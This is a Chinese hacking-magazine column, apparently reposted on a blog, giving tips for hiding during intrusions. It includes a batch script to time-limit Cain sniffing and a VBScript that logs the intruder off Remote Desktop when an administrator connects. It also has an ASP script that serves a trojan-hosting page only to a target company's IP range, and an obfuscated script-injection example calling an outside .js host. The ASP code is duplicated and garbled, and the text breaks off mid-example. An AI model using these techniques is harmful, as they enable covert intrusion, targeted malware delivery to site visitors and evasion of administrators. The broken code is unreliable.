我在入侵过程中注意到的细节(三)

导读:
  《黑客手册200803》
  我在入侵过程中注意到的细节之三
  lcx
  前两期中的专栏中,针对细节入侵这一专题,我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中,有时候难免会与管理员面对面,如何更好的隐蔽自己也是很重要的,一旦不注意,入侵工作往往前功尽弃。这期专栏中,我就如何隐蔽自己所做的一些工作,所注意到的细节来写一下。
  先来说一下嗅探吧。大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
  ★
  ping 127.0.0.1 -n 5000>nul
  taskkill /F /PID 4144
  ★
  上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。
  再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
  ★
  on error resume next
  set arg=wscript.arguments
  If arg.count=0 then
  wscript.echo "use:// cscript.exe FS.vbs port"
  sleep 1000
  wscript.quit
  End If
  Tport=arg(0)
  Runs=false
  While runs=false
  Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
  Set oShell = WScript.CreateObject("WScript.Shell")
  Set oExec = oShell.Exec("netstat -an")
  Set oRegExp = new RegExp
  oRegExp.Pattern = "TCP[/s]+[/d/.]+:"&Tport&"[/s]+[/d/.]+:[/d]+[/s]+ESTABLISHED"
  oRegExp.IgnoreCase = True
  oRegExp.Global = True
  Do While Not oExec.StdOut.AtEndOfStream
  strOut = strOut &oExec.StdOut.ReadLine() &Chr(13) &Chr(10)
  Loop
  Set Matches = oRegExp.Execute(strOut)
  Num = 0
  For Each Match In Matches
  Num = Num + 1
  Next
  if num >1 then
  Runs=true
  oShell.run "logoff"
  end if
  Set Matches = Nothing
  Set oRegExp = Nothing
  Set oExec = Nothing
  Set oShell = Nothing
  wend
  ★
  用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。
  最后来说一下挂马。挂马的隐蔽方法也有很多,以前黑手上讲过几期。如果只是盲目的挂马多搞几台肉鸡的话,那个随便你了。但是有时候我们入侵了一个公司的 web站,目标却是他们的内网。这时候你挂马可能会挂出太多的无用机器,如果你知他们公司内网出口的IP段的话,我们可以限制一下IP段使其更有针对性。这个asp脚本如下:
  <%

'获取访问者的地址

ip=Request.ServerVariables("REMOTE_ADDR")

'允许的IP地址段为

allowip1="221.221.221.1"

allowip2="221.221.221.254"

if checkip(ip,allowip1,allowip2)=true then

response.write "你挂马的页面"

end if

function checkip(ip,allowip1,allowip2)

dim check(4)

checkip=false

ipstr=split(ip,".")

allow1=split(allowip1,".")

allow2=split(allowip2,".")

if cint(allow1(0))>  '获取访问者的地址

  ip=Request.ServerVariables("REMOTE_ADDR")

  '允许的IP地址段为

  allowip1="221.221.221.1"

  allowip2="221.221.221.254"

  if checkip(ip,allowip1,allowip2)=true then

  response.write "你挂马的页面"

  end if

  function checkip(ip,allowip1,allowip2)

  dim check(4)

  checkip=false

  ipstr=split(ip,".")

  allow1=split(allowip1,".")

  allow2=split(allowip2,".")

  if cint(allow1(0))>cint(allow2(0)) then '判断IP地址段是否合法

  response.write "禁止访问"

  exit function

  end if

  for i=0 to ubound(ipstr)

  if cint(allow1(i))
  if cint(allow1(i))=cint(ipstr(i)) then

  check(i)=true

  checkip=true

  exit for

  else

  if cint(ipstr(i))
  exit for

  else

  if cint(ipstr(i))>cint(allow2(i)) then

  check(i)=false

  checkip=false

  exit for

  else

  check(i)=true

  checkip=true

  end if

  end if

  end if

  else

  if cint(allow1(i))>cint(ipstr(i)) or cint(allow1(i))
  check(i)=false

  checkip=false

  if i<>ubound(ipstr) then

  exit for

  end if

  else

  check(i)=true

  end if

  end if

  next

  if (check(0)=true and check(1)=true and check(2)=true and check(3)=false) and (cint(allow2(2))>cint(ipstr(2))) then

  checkip=true

  end if

  end function

  %>
  这个脚本也许考虑得不太周到,但是我觉得足够用了。挂马的隐蔽方法也有很多,我最常用的是代码分隔法。记得剑心有篇文章,提到过最短的跨站方法,我们也可以用这种方法来挂马的。好比常规挂马语句<script src=http://www.110.cn/1.js></script>拆分一下转换为:
  ★
  <script>z='document.'</script>
  <script>z=z+'write("'</script>
  <script>z=z+'
  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值